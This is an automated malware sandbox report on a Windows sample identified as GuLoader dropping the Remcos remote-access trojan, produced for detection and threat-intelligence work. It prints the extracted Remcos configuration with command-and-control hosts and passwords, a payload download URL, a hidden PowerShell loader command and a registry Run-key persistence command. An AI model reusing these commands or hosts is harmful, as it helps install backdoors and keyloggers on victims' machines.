Windows Analysis Report
zR4aIjCuRs.exe

Overview

General Information

Sample name: zR4aIjCuRs.exe
Analysis ID: 1526565
MD5: 02f086fb54d58bf17b51564b34166f5e
SHA1: 6ad69c9bdafb1a4ca5c0d15836b3e0abdd0a1e62
SHA256: 2ac935868a1f972e5a036986147051402e1b656a5ac9ac4b8ca15252f14e15fd
Infos:

Detection

Remcos, GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Detected Remcos RAT
Found malware configuration
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected GuLoader
Yara detected Remcos RAT
C2 URLs / IPs found in malware configuration
Found suspicious powershell code related to unpacking or dynamic code loading
Installs a global keyboard hook
Loading BitLocker PowerShell Module
Powershell drops PE file
Suspicious powershell command line found
Tries to detect Any.run
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses dynamic DNS services
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to shutdown / reboot the system
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Direct Autorun Keys Modification
Sigma detected: Msiexec Initiated Connection
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
Sleep loop found (likely to delay execution)
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry

Classification

Name Description Attribution Blogpost URLs Link
Remcos, RemcosRAT Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
  • UAC-0050
 https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos
Name Description Attribution Blogpost URLs Link
CloudEyE, GuLoader CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

AV Detection
barindex
Found malware configuration
Source: 00000006.00000002.274580776368.0000000006A07000.00000004.00000020.00020000.00000000.sdmp Malware Configuration Extractor: Remcos {"Host:Port:Password": "q92harbu03.duckdns.org:3980:0janbours92harbu04.duckdns.org:3981:1janbours92harbu007.duckdns.org:3981:1", "Assigned name": "MANIFESTWEALTHS", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Enable", "Hide file": "Disable", "Mutex": "Rmc-MK0QHY", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Enable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}
Multi AV Scanner detection for domain / URL
Source: janbours92harbu04.duckdns.org Virustotal: Detection: 6% Perma Link
Source: janbours92harbu03.duckdns.org Virustotal: Detection: 9% Perma Link
Source: http://pesterbdd.com/images/Pester.png4 Virustotal: Detection: 10% Perma Link
Source: http://pesterbdd.com/images/Pester.png Virustotal: Detection: 9% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Roaming\determinationens\Wanderlustful\svageliges\zR4aIjCuRs.exe ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Roaming\determinationens\Wanderlustful\svageliges\zR4aIjCuRs.exe Virustotal: Detection: 69% Perma Link
Multi AV Scanner detection for submitted file
Source: zR4aIjCuRs.exe ReversingLabs: Detection: 79%
Source: zR4aIjCuRs.exe Virustotal: Detection: 69% Perma Link
Yara detected Remcos RAT
Source: Yara match File source: 00000006.00000002.274580776368.0000000006A07000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.274580776368.0000000006A22000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.274580776368.0000000006A5C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.274580776368.0000000006A11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: msiexec.exe PID: 1264, type: MEMORYSTR
Source: Yara match File source: C:\ProgramData\remcos\logs.dat, type: DROPPED
Uses 32bit PE files
Source: zR4aIjCuRs.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 85.120.16.93:443 -> 192.168.11.20:49768 version: TLS 1.2
Source: zR4aIjCuRs.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: CallSite.Targetore.pdb|j source: powershell.exe, 00000002.00000002.274414428126.0000000008AB7000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000002.00000002.274408791125.000000000742D000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: tem.Core.pdb source: powershell.exe, 00000002.00000002.274413700752.00000000089A7000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Core.pdb source: powershell.exe, 00000002.00000002.274412829387.00000000088DF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Core.pdbk source: powershell.exe, 00000002.00000002.274412829387.00000000088DF000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Code function: 0_2_004065FD FindFirstFileW,FindClose, 0_2_004065FD
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Code function: 0_2_00402868 FindFirstFileW, 0_2_00402868
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Code function: 0_2_004059CC GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 0_2_004059CC
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Roaming\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Roaming\determinationens\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Roaming\determinationens\Wanderlustful\svageliges\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Roaming\determinationens\Wanderlustful\ Jump to behavior

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.11.20:49769 -> 192.169.69.26:3980
Source: Network traffic Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.11.20:49773 -> 192.169.69.26:3980
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: q92harbu03.duckdns.org
Uses dynamic DNS services
Source: unknown DNS query: name: janbours92harbu04.duckdns.org
Source: unknown DNS query: name: janbours92harbu03.duckdns.org
Source: unknown DNS query: name: janbours92harbu007.duckdns.org
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.11.20:49770 -> 45.74.58.7:3981
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 192.169.69.26 192.169.69.26
Source: Joe Sandbox View IP Address: 192.169.69.26 192.169.69.26
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: WOWUS WOWUS
Source: Joe Sandbox View ASN Name: VOXILITYGB VOXILITYGB
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49768 -> 85.120.16.93:443
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /images/vnlXriHFWaBU97.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: simonastolerciuc.roCache-Control: no-cache
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /images/vnlXriHFWaBU97.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: simonastolerciuc.roCache-Control: no-cache
Source: global traffic DNS traffic detected: DNS query: simonastolerciuc.ro
Source: global traffic DNS traffic detected: DNS query: janbours92harbu03.duckdns.org
Source: global traffic DNS traffic detected: DNS query: janbours92harbu04.duckdns.org
Source: global traffic DNS traffic detected: DNS query: janbours92harbu007.duckdns.org
Source: powershell.exe, 00000002.00000002.274397769175.0000000002D47000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.274580776368.0000000006A22000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.273838191495.0000000006A26000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000002.00000002.274397769175.0000000002D47000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.274580776368.0000000006A22000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.273838191495.0000000006A26000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000002.00000002.274413700752.00000000089A7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.microsof
Source: zR4aIjCuRs.exe, zR4aIjCuRs.exe.2.dr String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000002.00000002.274405286066.0000000005D6E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.274399089002.0000000004E57000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.274399089002.0000000004E57000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png4
Source: powershell.exe, 00000002.00000002.274399089002.0000000004D01000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.274399089002.0000000004E57000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.274399089002.0000000004E57000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html4
Source: powershell.exe, 00000002.00000002.274397769175.0000000002D47000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.274580776368.0000000006A22000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.273838191495.0000000006A26000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.quovadis.bm0
Source: powershell.exe, 00000002.00000002.274399089002.0000000004D01000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000002.00000002.274405286066.0000000005D6E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.274405286066.0000000005D6E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.274405286066.0000000005D6E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000002.00000002.274399089002.0000000004E57000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.274399089002.0000000004E57000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester4
Source: powershell.exe, 00000002.00000002.274405286066.0000000005D6E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000002.00000002.274397769175.0000000002D47000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.274580776368.0000000006A22000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.273838191495.0000000006A26000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: msiexec.exe, 00000006.00000002.274580776368.00000000069ED000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://simonastolerciuc.ro/
Source: msiexec.exe, 00000006.00000002.274580776368.00000000069ED000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://simonastolerciuc.ro/M
Source: msiexec.exe, 00000006.00000002.274580776368.00000000069C2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://simonastolerciuc.ro/images/vnlXriHFWaBU97.bin
Source: msiexec.exe, 00000006.00000002.274580776368.00000000069C2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://simonastolerciuc.ro/images/vnlXriHFWaBU97.binqH
Source: msiexec.exe, 00000006.00000002.274587858838.00000000224B0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://simonastolerciuc.ro/images/vnlXriHFWaBU97.binreinsEsrblog.ervadegato.com.br/vnlXriHFWaBU97.b
Source: unknown Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown HTTPS traffic detected: 85.120.16.93:443 -> 192.168.11.20:49768 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Installs a global keyboard hook
Source: C:\Windows\SysWOW64\msiexec.exe Windows user hook set: 0 keyboard low level C:\Windows\SysWOW64\msiexec.exe Jump to behavior
Contains functionality for read data from the clipboard
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Code function: 0_2_00405461 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard, 0_2_00405461

E-Banking Fraud
barindex
Yara detected Remcos RAT
Source: Yara match File source: 00000006.00000002.274580776368.0000000006A07000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.274580776368.0000000006A22000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.274580776368.0000000006A5C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.274580776368.0000000006A11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: msiexec.exe PID: 1264, type: MEMORYSTR
Source: Yara match File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

System Summary
barindex
Powershell drops PE file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\determinationens\Wanderlustful\svageliges\zR4aIjCuRs.exe Jump to dropped file
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Code function: 0_2_0040338F EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 0_2_0040338F
Creates files inside the system directory
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe File created: C:\Windows\resources\0409 Jump to behavior
Detected potential crypto function
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Code function: 0_2_00406B15 0_2_00406B15
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Code function: 0_2_004072EC 0_2_004072EC
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Code function: 0_2_00404C9E 0_2_00404C9E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_0305EAF0 2_2_0305EAF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_0305EAE0 2_2_0305EAE0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_030599A8 2_2_030599A8
One or more processes crash
Source: C:\Windows\SysWOW64\msiexec.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1264 -s 2324
Sample file is different than original file name gathered from version info
Source: zR4aIjCuRs.exe, 00000000.00000000.273486426028.000000000047F000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameemblem cytocyst.exe< vs zR4aIjCuRs.exe
Source: zR4aIjCuRs.exe Binary or memory string: OriginalFilenameemblem cytocyst.exe< vs zR4aIjCuRs.exe
Source: zR4aIjCuRs.exe.2.dr Binary or memory string: OriginalFilenameemblem cytocyst.exe< vs zR4aIjCuRs.exe
Uses 32bit PE files
Source: zR4aIjCuRs.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Uses reg.exe to modify the Windows registry
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Tragacanth" /t REG_EXPAND_SZ /d "%forenamed% -windowstyle 1 $Rico36=(gp -Path 'HKCU:\Software\Bistratose\').Funklet114;%forenamed% ($Rico36)"
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@17/23@4/3
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Code function: 0_2_0040338F EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 0_2_0040338F
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Code function: 0_2_00404722 GetDlgItem,SetWindowTextW,SHAutoComplete,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceExW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW, 0_2_00404722
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Code function: 0_2_00402104 CoCreateInstance, 0_2_00402104
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe File created: C:\Users\user\AppData\Roaming\determinationens Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6968:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1320:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6968:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1320:304:WilStaging_02
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1264
Source: C:\Windows\SysWOW64\msiexec.exe Mutant created: \Sessions\1\BaseNamedObjects\Rmc-MK0QHY
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe File created: C:\Users\user\AppData\Local\Temp\nsj3DBD.tmp Jump to behavior
Source: zR4aIjCuRs.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: zR4aIjCuRs.exe ReversingLabs: Detection: 79%
Source: zR4aIjCuRs.exe Virustotal: Detection: 69%
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe File read: C:\Users\user\Desktop\zR4aIjCuRs.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\zR4aIjCuRs.exe "C:\Users\user\Desktop\zR4aIjCuRs.exe"
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Sudadero=Get-Content -Raw 'C:\Users\user\AppData\Roaming\determinationens\Wanderlustful\svageliges\Falkespors.Var';$Maalkastets=$Sudadero.SubString(54266,3);.$Maalkastets($Sudadero) "
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\syswow64\msiexec.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\syswow64\msiexec.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\syswow64\msiexec.exe"
Source: C:\Windows\SysWOW64\msiexec.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Tragacanth" /t REG_EXPAND_SZ /d "%forenamed% -windowstyle 1 $Rico36=(gp -Path 'HKCU:\Software\Bistratose\').Funklet114;%forenamed% ($Rico36)"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Tragacanth" /t REG_EXPAND_SZ /d "%forenamed% -windowstyle 1 $Rico36=(gp -Path 'HKCU:\Software\Bistratose\').Funklet114;%forenamed% ($Rico36)"
Source: C:\Windows\SysWOW64\msiexec.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1264 -s 2324
Source: C:\Windows\SysWOW64\msiexec.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1264 -s 1068
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Sudadero=Get-Content -Raw 'C:\Users\user\AppData\Roaming\determinationens\Wanderlustful\svageliges\Falkespors.Var';$Maalkastets=$Sudadero.SubString(54266,3);.$Maalkastets($Sudadero) " Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\syswow64\msiexec.exe" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\syswow64\msiexec.exe" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\syswow64\msiexec.exe" Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Tragacanth" /t REG_EXPAND_SZ /d "%forenamed% -windowstyle 1 $Rico36=(gp -Path 'HKCU:\Software\Bistratose\').Funklet114;%forenamed% ($Rico36)" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Tragacanth" /t REG_EXPAND_SZ /d "%forenamed% -windowstyle 1 $Rico36=(gp -Path 'HKCU:\Software\Bistratose\').Funklet114;%forenamed% ($Rico36)" Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Section loaded: shfolder.dll Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Section loaded: riched20.dll Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Section loaded: usp10.dll Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Section loaded: profapi.dll Jump to behavior
